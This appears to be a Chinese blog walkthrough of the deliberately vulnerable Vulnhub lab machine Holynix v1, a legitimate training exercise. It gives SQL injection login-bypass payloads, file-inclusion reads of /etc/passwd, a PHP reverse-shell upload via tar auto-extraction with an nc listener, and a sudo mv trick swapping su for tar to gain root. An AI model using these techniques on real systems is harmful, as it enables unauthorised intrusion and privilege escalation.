Vulnhub靶机:Holynix: v1

0x01 项目地址

Holynix: v1

0x02 靶机描述

Similar to the de-ice and pWnOS pentest cds, Holynix is an ubuntu server vmware image that was deliberately built to have security holes for the purposes of penetration testing. More of an obstacle course than a real world example. The object of the challenge is to gain root level privileges and access to personal client information.

与de-ice和pWnOS pentest cd类似,Holynix是一个Ubuntu服务器vmware镜像,它被故意构建为具有安全漏洞,用于渗透测试。与其说是真实的世界的例子,不如说是一个障碍训练场。挑战的目的是获得根级别的权限和访问个人客户信息。

0x03 环境搭建

靶机

Holynix: v1

NAT模式 192.168.6.152

攻击机

kali

NAT模式 192.168.6.128

0x04 详细步骤

1.主机发现

sudo arp-scan -l

2.端口扫描

nmap -p- 192.168.6.152

发现靶机只开放了80端口,接下来浏览器访问

3.Web访问

浏览器访问192.168.6.152,进入后发现有homelogin两个页面,home页面没东西,在login页面有登录框

4.漏洞挖掘

遇到登录框,我们可以考虑:弱口令/SQL注入/CMS漏洞利用/查找敏感信息等。

一番尝试下来,发现有SQL注入

Name:admin'
Password:admin'

通过报错信息可以看到,这个sql查询语句对Name字段的单引号进行了转义(\'),而Password没有。因此Name随便输,Password用万能密码即可登录

Name:a
Password:' or 1=1 #

登录成功后,根据欢迎语可以知道用户名为alamo,在左侧边栏有多个选项,我们逐个点进去看一看,在Directory页面可以看到是一些个人信息

并且可以观察到url中存在参数page= ,这里我们尝试以下文件包含,尝试读取/etc/passwd

尝试读取失败,报错了,此路不通另寻他路。接着往下看,在Upload页面发现可以上传文件

找个文件上传一下看看

提示禁止alamo用户上传文件,可能权限不够,这条路也行不通。那继续往下看Security页面。

在这个页面有个选择框,里边有五个选项,貌似是可以查看五个文件

这里用Burp抓包看一下,可以看到确实是查看文件

可以试一下这里存不存在文件包含,我们尝试包含一下/etc/passwd,发现包含成功,确实存在文件包含

之前文件上传失败,这里我们换个用户登录,要登录etenenbaum用户,我们尝试在Password中构造闭合,试图使得username='etenenbaum'

Name:a
Password:' or username='etenenbaum' #

# 完整的查询语句:
SELECT * FROM accounts WHERE username='a' AND password='' or username='etenenbaum' #'

可以看到登录成功

上传文件成功

5.漏洞利用

看来etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。可以手动写,这回我们直接在kali中搜索并复制到当前目录

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .

我们编辑这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为8888

vim php-reverse-shell.php

然后上传文件,上传成功

接着在etenenbaum的家目录http://192.168.6.152/~etenenbaum/寻找这个文件,然后尝试点击,看看能否打开

发现无法执行,报错提示权限不够

我们回到文件上传页面,发现有这样一行字, Enable the automatic extraction of gzip archives.这儿貌似可以自动解压打包好的文件,那我们可以考虑将文件压缩后,勾选该选项并再次上传

先把这个php反弹shell文件打包为gzip

gzip php-reverse-shell.php

上传文件,再回到家目录查看,发现这个.gz压缩文件没有被解压

点击打开也还是提示没有权限

此时可以尝试继续越权寻找权限更高的账号,但这里查看文件上传的时候,发现上传成功页面url中page参数中有个transfer.php文件

这个文件可能是处理文件上传的,我们利用刚才的文件包含漏洞访问查看一下

可以看到这里处理压缩包执行的命令是tar xzf,因此我们用tar czf打包文件,再进行上传

tar czf shell.tar.gz php-reverse-shell.php 

然后再次勾选选项,进行文件上传

发现之前上传的php-reverse-shell.php文件时间还是原来的时间,说明我们上传的文件并没有被解压,因为解压出来后这个文件会被覆盖,时间会变成现在的时间

又尝试了几次仍然无果,这是我在本机的浏览器访问的,换到kali里的浏览器试一下,将压缩包再次上传后,发现php-reverse-shell.php时间改变了!

开启监听,点击文件执行,成功拿到反弹shell!

nc -lvnp 8888

6.权限提升

先用python升级shell

python -c "import pty;pty.spawn('/bin/bash')"

然后开始提权,先查看当前权限

sudo -l

可以看到,我们可以免密用sudo执行chownchgrptarmv这几个命令。

那么我们可以用tar命令替换为su来提权,相当于运行sudo tar就是运行sudo su,因为su被我们改名成了tar,然后tar又可以被我们sudo免密运行

sudo mv /bin/tar /bin/tar.orgi
sudo mv /bin/su /bin/tar
sudo tar

提权成功!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值